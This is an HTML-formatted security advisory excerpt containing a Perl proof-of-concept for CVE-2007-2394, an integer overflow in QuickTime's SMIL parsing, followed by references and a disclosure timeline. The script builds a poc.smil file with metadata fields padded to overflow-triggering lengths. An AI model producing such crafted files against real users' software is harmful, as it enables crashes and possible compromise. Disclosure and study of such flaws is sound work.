#!/usr/bin/perl -w</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">#### </span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;"># QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
#</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;"># Researched on QuickTime 7.1.3 on Windows 2000 SP4.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
#</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;"># David Vaartjes &lt;d.vaartjes at <a href="http://gmail.com">gmail.com</a>&gt;</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">####</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">$file = &quot;
poc.smil&quot;;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">$padd = &quot;x&quot;;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
$cop_len = 36;</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">####</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;"># By choosing the following lengths the</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;"># integer overflow will be triggered.
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">####</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
$tit_len = 223;</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">$auth_len = 65280;</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">open(FH,&quot;&gt;$file&quot;) or die &quot;Can&#39;t open file:$!&quot;;</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">print FH</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&quot;&lt;smil&gt;\n&quot;.</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp;&quot;&lt;head&gt;\n&quot;.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&quot; &lt;meta name=\&quot;title\&quot; content=\&quot;&quot;.$padd x $tit_len.&quot;\&quot;/&gt;\n&quot;.
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&quot; &lt;meta name=\&quot;author\&quot; content=\&quot;&quot;.$padd x $auth_len.&quot;\&quot;/&gt;\n&quot;.</span>
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&quot; &lt;meta name=\&quot;copyright\&quot; content=\&quot;&quot;.$padd x $cop_len.&quot;\&quot;/&gt;\n&quot;.</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">&nbsp;&quot;&lt;/head&gt;\n&quot;.</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">&nbsp;&quot;&lt;/smil&gt;&quot;;</span><br style="font-family: courier new,monospace;">
<br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">close(FH);</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">REFERENCES</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">[1] <a href="http://labs.idefense.com/intelligence/vulnerabilities/display.php">http://labs.idefense.com/intelligence/vulnerabilities/display.php</a>?</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">id=556 </span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">[2] <a href="http://docs.info.apple.com/article.html?artnum=305947">
http://docs.info.apple.com/article.html?artnum=305947</a> </span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">[3] <a href="http://secunia.com/blog/7/">http://secunia.com/blog/7/
</a></span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">----------------------------------------------------------------------
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">DISCLOSURE TIMELINE</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
----------------------------------------------------------------------</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">
04/02/2007&nbsp;&nbsp; &nbsp;Initial vendor notification (by iDefense)</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">04/09/2007&nbsp;&nbsp; &nbsp;Initial vendor response</span><br style="font-family: courier new,monospace;">
<span style="font-family: courier new,monospace;">07/11/2007&nbsp;&nbsp; &nbsp;Apple security bulletin &amp; patches available</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">07/11/2007&nbsp;&nbsp; &nbsp;Public disclosure of iDefense advisory
</span><br style="font-family: courier new,monospace;"><span style="font-family: courier new,monospace;">09/03/2007&nbsp;&nbsp; &nbsp;Public disclosure of this advisory</span><br style="font-family: courier new,monospace;"><br style="font-family: courier new,monospace;">